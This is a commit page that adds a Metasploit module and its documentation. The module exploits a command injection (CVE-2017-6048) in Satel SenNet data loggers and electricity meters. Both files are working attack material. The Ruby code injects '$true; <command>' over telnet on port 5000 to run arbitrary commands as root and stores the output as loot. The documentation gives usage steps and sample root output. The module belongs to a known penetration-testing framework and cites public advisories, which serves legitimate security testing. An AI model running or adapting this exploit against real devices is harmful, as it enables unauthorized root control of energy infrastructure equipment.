Skip to content

Commit 05c7221

Browse files
author
Brent Cook
committed
Land rapid7#8205, Add Satel SenNet Command Exec Module
2 parents 2918b3a + af4eafd commit 05c7221

File tree

2 files changed

+99
-0
lines changed

2 files changed

+99
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
2+
3+
The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected:
4+
1. SenNet Optimal DataLogger V5.37c-1.43c and prior,
5+
2. SenNet Solar Datalogger V5.03-1.56a and prior, and
6+
3. SenNet Multitask Meter V5.21a-1.18b and prior.
7+
8+
## Verification Steps
9+
10+
1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
11+
2. Do: ```set RHOSTS [IP]```
12+
3. Do: ```set RPORT [PORT]```
13+
4. Do: ```run```
14+
15+
## Sample Output
16+
17+
```
18+
msf > use auxiliary/scanner/telnet/satel_cmd_exec
19+
msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
20+
msf auxiliary(satel_cmd_exec) > run
21+
22+
[*] 1.3.3.7:5000 - Sending command now - id;
23+
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
24+
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
25+
[*] Scanned 1 of 1 hosts (100% complete)
26+
[*] Auxiliary module execution completed
27+
28+
```
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Telnet
8+
include Msf::Auxiliary::Report
9+
include Msf::Auxiliary::Scanner
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
14+
'Description' => %q{
15+
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
16+
to perform arbitrary command execution as 'root'.
17+
},
18+
'References' =>
19+
[
20+
[ 'CVE', '2017-6048' ],
21+
[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
22+
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ]
23+
],
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
27+
],
28+
'DisclosureDate' => 'Apr 07, 2017',
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' => { 'VERBOSE' => true })
31+
)
32+
33+
register_options(
34+
[
35+
Opt::RPORT(5000),
36+
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
37+
OptString.new('CMD', [true, 'Command(s) to run', 'id'])
38+
], self.class
39+
)
40+
41+
deregister_options('USERNAME', 'PASSWORD')
42+
end
43+
44+
def run_host(ip)
45+
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
46+
begin
47+
::Timeout.timeout(to) do
48+
command = datastore['CMD']
49+
inject = "$true; #{command}"
50+
res = connect
51+
52+
print_status("Sending command now - #{command}")
53+
54+
sock.puts(inject)
55+
data = sock.get_once(-1, to)
56+
print_good("#{data}")
57+
58+
loot_name = 'cmd-exec-log'
59+
loot_type = 'text/plain'
60+
loot_desc = 'Satel SenNet CMD Exec Dump'
61+
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
62+
print_good("File saved in: #{p}")
63+
end
64+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
65+
print_error("#{rhost}:#{rport} - Connection Failed...")
66+
return false
67+
ensure
68+
disconnect
69+
end
70+
end
71+
end

0 commit comments

Comments
 (0)